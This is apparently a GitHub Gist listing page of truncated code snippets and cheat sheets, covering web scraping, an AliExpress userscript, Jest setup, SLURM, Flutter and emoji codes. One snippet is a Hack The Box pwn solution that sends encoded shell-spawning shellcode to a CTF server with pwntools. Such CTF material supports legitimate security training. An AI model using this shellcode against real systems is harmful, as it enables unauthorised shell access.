Skip to content

Instantly share code, notes, and snippets.

import pandas as pd
from tqdm import tqdm
from trafilatura.sitemaps import sitemap_search
from trafilatura import fetch_url, extract
def get_urls_from_sitemap(resource_url: str) -> list:
"""
Get a list of urls from a sitemap with trafilatura
"""
@apfelchips
apfelchips / aliexpress_en.js
Last active May 17, 2024 23:40
userscript that forces aliexpress.com to be in english
// ==UserScript==
// @name aliexpress_en
// @version 0.1
// @description always redirect to aliexpress.com and reset the location/language/currency settings. This script pins locale settings cookie. Please clear cookies on all "aliexpress" domains before using this userscript.
// @author @attero@mastodon.social
// @match *://www.aliexpress.com
// @match *://www.aliexpress.com/*
// @match *://*.aliexpress.com/*
// @match *://www.aliexpress.ru
// @match *://www.aliexpress.ru/*
@Reodus
Reodus / Exploit.py
Created May 17, 2024 23:03
HTB - Pwn challenge - Execute
from pwn import *
SERVER = "94.237.60.251"
PORT = 55057
payload = b"\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\x83\xf7\xff\x57\x48\x89\xe7\x50\x48\x89\xc6\x48\x89\xc2\xb8\x3a\x00\x00\x00\x48\x83\xf0\x01\x0f\x05"
p = remote(SERVER, PORT)
p.sendline(payload)
@Reodus
Reodus / HTB_ARM's_RACE_SOLVER.py
Last active May 17, 2024 23:37
HTB ARM's Race challenge solver by unicorn and pwntools
from unicorn import *
from unicorn.arm_const import *
from pwn import *
SERVER = "94.237.49.182"
PORT = 30768
def emulate_arm(hex_code):
# Initialize emulator
uc = Uc(UC_ARCH_ARM, UC_MODE_ARM)
@Klerith
Klerith / pasos-node-ts-jest.md
Created August 19, 2023 18:35
Note + TypeScript + Jest = Testing

Pasos para configurar Jest con TypeScript, en Node

Documentaciรณn oficial sobre Jest

  1. Instalaciones de desarrollo (super test es รบtil para probar Express)
npm install -D jest @types/jest ts-jest supertest
@pythoninthegrass
pythoninthegrass / config.yaml
Last active May 17, 2024 23:33
Tabby (AKA Terminus) config
terminal:
searchOptions: {}
colorScheme:
name: Tomorrow Night Blue Dark
foreground: '#ffffff'
background: '#212c41'
cursor: '#ffffff'
colors:
- '#000000'
- '#ff9da4'
@WebReflection
WebReflection / custom-elements-pattern.md
Last active May 17, 2024 23:30
Handy Custom Elements' Patterns

Handy Custom Elements' Patterns

Ricardo Gomez Angel Photo by Ricardo Gomez Angel on Unsplash

This gist is a collection of common patterns I've personally used here and there with Custom Elements.

These patterns are all basic suggestions that could be improved, enriched, readapted, accordingly with your needs.

@ctokheim
ctokheim / slurm_cheat_sheet.md
Last active May 17, 2024 23:27
A cheat sheet for the SLURM job scheduler

SLURM

Slurm is a job scheduler for computer clusters. This document is based on this tutorial. A useful guide showing the relationships between SGE and SLURM is available here.

Gathering information

Two commands may be useful:

  • sinfo provides information about the resouces of the cluster.
@ntfnd404
ntfnd404 / custom_snack_bar.dart
Created April 28, 2024 11:49
Sometimes you want a SnackBar with behavior property set to SnackBarBehavior.fixed to be set with margin != null. But the standard SnackBar does not allow to set behavior property in SnackBarBehavior.fixed with margin != null. In such cases, you can use this approach.
import 'package:flutter/material.dart';
ScaffoldMessenger.of(context)
..removeCurrentSnackBar()
..showSnackBar(
CustomSnackBar(
content: Text(message),
behavior: SnackBarBehavior.fixed,
),
);
@roachhd
roachhd / README.md
Last active May 17, 2024 23:26
EMOJI cheatsheet ๐Ÿ˜›๐Ÿ˜ณ๐Ÿ˜—๐Ÿ˜“๐Ÿ™‰๐Ÿ˜ธ๐Ÿ™ˆ๐Ÿ™Š๐Ÿ˜ฝ๐Ÿ’€๐Ÿ’ข๐Ÿ’ฅโœจ๐Ÿ’๐Ÿ‘ซ๐Ÿ‘„๐Ÿ‘ƒ๐Ÿ‘€๐Ÿ‘›๐Ÿ‘›๐Ÿ—ผ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŽ„๐ŸŽ…๐Ÿ‘ป

EMOJI CHEAT SHEET

Emoji emoticons listed on this page are supported on Campfire, GitHub, Basecamp, Redbooth, Trac, Flowdock, Sprint.ly, Kandan, Textbox.io, Kippt, Redmine, JabbR, Trello, Hall, plug.dj, Qiita, Zendesk, Ruby China, Grove, Idobata, NodeBB Forums, Slack, Streamup, OrganisedMinds, Hackpad, Cryptbin, Kato, Reportedly, Cheerful Ghost, IRCCloud, Dashcube, MyVideoGameList, Subrosa, Sococo, Quip, And Bang, Bonusly, Discourse, Ello, and Twemoji Awesome. However some of the emoji codes are not super easy to remember, so here is a little cheat sheet. โœˆ Got flash enabled? Click the emoji code and it will be copied to your clipboard.

People

:bowtie: ๐Ÿ˜„